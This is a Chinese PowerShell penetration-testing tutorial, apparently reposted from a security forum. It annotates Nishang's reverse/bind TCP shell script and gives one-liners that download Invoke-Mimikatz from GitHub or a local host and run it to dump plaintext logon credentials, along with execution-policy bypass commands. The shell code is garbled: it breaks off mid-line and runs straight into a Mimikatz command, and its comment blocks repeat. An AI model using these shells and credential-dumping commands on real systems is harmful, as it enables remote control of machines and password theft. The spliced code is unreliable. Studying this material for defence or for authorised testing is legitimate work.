Powershell渗透测试系列--进阶篇

访客 340 0
本文来源:i_春秋

原文来自:https://bbs.ichunqiu.com/thread-41561-1-1.html

i春秋作家:anyedt

0x00 引言

经过基础篇的学习我们已经对powershell有了一个基本的了解,接下来我们先补充一点基础知识然后就尝试去分析nishang中的优秀代码学会如何去使用脚本最后实战 。预告一下,第三篇高级篇带你使用powershell遨游内网。

0x01 补充知识

a 命令格式

command -name > - Required Parameter Name > Required Parameter Value >
命令 -名称 请求参数名 请求参数值
[ - Optional Parameter Name > Optional Parameter Value >]
[ - Optional Switch Parameters >]
[ - Optional Parameter Name >] Required Parameter Value >

b 等价别名

许多命令都有别名以及使用DOS的人或Unix这些可以非常熟悉。 别名是一种简短的命令形式但是其作用是等价的。

Command Aliases (命令别名)
clear-host cls, clear
format-list fl
get-childitem gci, ls, dir
get-content gc, cat, type
get-location gl, pwd
get-member gm
remove-item ri, rm, rmdir, del, erase, rd
write-output write, echo

c 执行策略问题

Powershell脚本执行策略是默认不允许执行任何脚本,如果我们没有修改过执行策略而直接运行可能出现以下问题。

Powershell渗透测试系列--进阶篇-第1张图片-网盾网络安全培训

解决办法

首先查看脚本执行策略设置情况,可以通过 Get-ExecutionPolicyget-executionpolicy命令。如果显示 Restricted  即不允许执行任何脚本。使用管理员身份运行powerhsell然后执行命令:set-executionpolicy remotesigned  回车之后即可执行脚本。


Powershell渗透测试系列--进阶篇-第2张图片-网盾网络安全培训

0x02 分析TCP交互式PowerShell脚本

该脚本取之于nishang这个框架,Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段。下载地址:https://github.com/samratashok/nishang

先贴上其TCP交互式PowerShell脚本(建立一个TCP正向连接或反向连接shell )代码如下:

function Invoke-PowerShellTcp 
{ 
#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner #
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner # DefaultParameterSetName="reverse" 说明默认采用反向shell连接的方式。    
                   可选参数和强制参数必须同时使用 reverse和bind可选默认值为reverse,但是$IPAddress$Port必须                        进行设置。
                    $IPAddress 目标IP地址
                           $Port 目标端口
                #>   
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,
                # 
                        根据输入的内容匹配类型
                #>   
        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind
    )

c 主函数部分

  try 
    {
        # 连接有可能出错所以这里使用个异常处理trt catch,
        # 判断是否存在对应值,如果存在建立TCP反向shell连接,本机充当客户端。
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        # 判断是否存在对应值,如果存在建立TCP正向shell连接,本机充当服务端。
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 
                # 构建数据流
        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #把靶机的相关信息发送到攻击机中去
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #交互式信息提示
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)
                # 判断数据是否传输完成,不完成就传输完为止
        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #执行命令,然后输出
                $sendback = (Invoke-Expression -Command $data 2>Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
#或者 本地搭建网络环境http://192.168.1.1/
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/');Invoke-Mimikatz -DumpCreds" 

#

假如存在执行策略问题:

Get-ExecutionPolicy  //结果显示restricted

Set-ExecutionPolicy Unrestricted  //打开限制

Import-Module .\Invoke-Mimikatz.ps1 //导入命令

Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"' //获取密码
#>

第三步:成功获取明文密码

Powershell渗透测试系列--进阶篇-第3张图片-网盾网络安全培训

b  在线网络环境运行

第一步:直接执行命令

在 Windows 2008 及以上操作系统中执⾏命令

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
ontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); I
nvoke-Mimikatz -DumpCreds"

注意点:靶机必须可以正常访问raw.githubusercontent.com 网络,因为需要连接下载ps1文件。 Windows Server 2014以上版本仅能获取到NTLM值,无法正常获取明文密码。

第二步: 成功获取明文密码

Powershell渗透测试系列--进阶篇-第4张图片-网盾网络安全培训Powershell渗透测试系列--进阶篇-第5张图片-网盾网络安全培训

Powershell渗透测试系列--进阶篇-第6张图片-网盾网络安全培训


0x05 总结

本文重点学会分析脚本,懂得分析别人写的,然后自己写一个类似的脚本都是几分钟的事情。分析是为了去模仿好的,让自己少走弯路,超越是我们要做的。紧接着我们讲到了脚本的使用然后举了一个实战例子获取明文密码。希望大家能学会去使用powershell,然后重视它,掌握它。


i春秋推出优享会员制,开通会员可以免费畅享多类课程、实验、CTF赛题等付费内容,并可享有包括会员日专属福利、就业推荐等多种特权福利,更多活动详情可点击:https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~

标签: 渗透测试 web安全 powershell

发表评论 (已有0条评论)

还木有评论哦,快来抢沙发吧~